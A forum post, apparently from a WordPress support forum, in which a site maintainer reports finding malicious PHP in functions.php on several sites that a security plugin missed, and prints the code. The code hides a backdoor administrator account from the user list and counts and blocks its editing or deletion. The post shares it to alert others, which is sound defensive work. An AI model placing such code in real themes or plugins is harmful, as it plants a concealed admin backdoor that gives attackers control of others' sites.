Wordfence couldn’t see this hack code!!!

Replies: 0

Hello

i found a hack code on many of websites came to me to handle issues , and i found that Wordfence didn’t even see this code or report that its a meliaceous code that should be removed.

here is the code block which i found in functions.php , and it created an admin user with all administrative permisions

<?php

if (!function_exists(‘wp_enqueue_async_script’) && function_exists(‘add_action’) && function_exists(‘wp_die’) && function_exists(‘get_user_by’) && function_exists(‘is_wp_error’) && function_exists(‘get_current_user_id’) && function_exists(‘get_option’) && function_exists(‘add_action’) && function_exists(‘add_filter’) && function_exists(‘wp_insert_user’) && function_exists(‘update_option’)) {

add_action('pre_user_query', 'wp_enqueue_async_script');
add_filter('views_users', 'wp_generate_dynamic_cache');
add_action('load-user-edit.php', 'wp_add_custom_meta_box');
add_action('admin_menu', 'wp_schedule_event_action');

function wp_enqueue_async_script($user_search) {
    $user_id = get_current_user_id();
    $id = get_option('_pre_user_id');

    if (is_wp_error($id) || $user_id == $id)
        return;

    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
        "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
        $user_search->query_where
    );
}

function wp_generate_dynamic_cache($views) {

    $html = explode('<span class="count">(', $views['all']);
    $count = explode(')</span>', $html[1]);
    $count[0]--;
    $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

    $html = explode('<span class="count">(', $views['administrator']);
    $count = explode(')</span>', $html[1]);
    $count[0]--;
    $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

    return $views;
}

function wp_add_custom_meta_box() {
    $user_id = get_current_user_id();
    $id = get_option('_pre_user_id');

    if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
        wp_die(__('Invalid user ID.'));
}

function wp_schedule_event_action() {

    $id = get_option('_pre_user_id');

    if (isset($_GET['user']) && $_GET['user']
        && isset($_GET['action']) && $_GET['action'] == 'delete'
        && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
        wp_die(__('Invalid user ID.'));

}



if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && username_exists($params['user_login'])) {
    die('WP ADMIN USER EXISTS');
}

}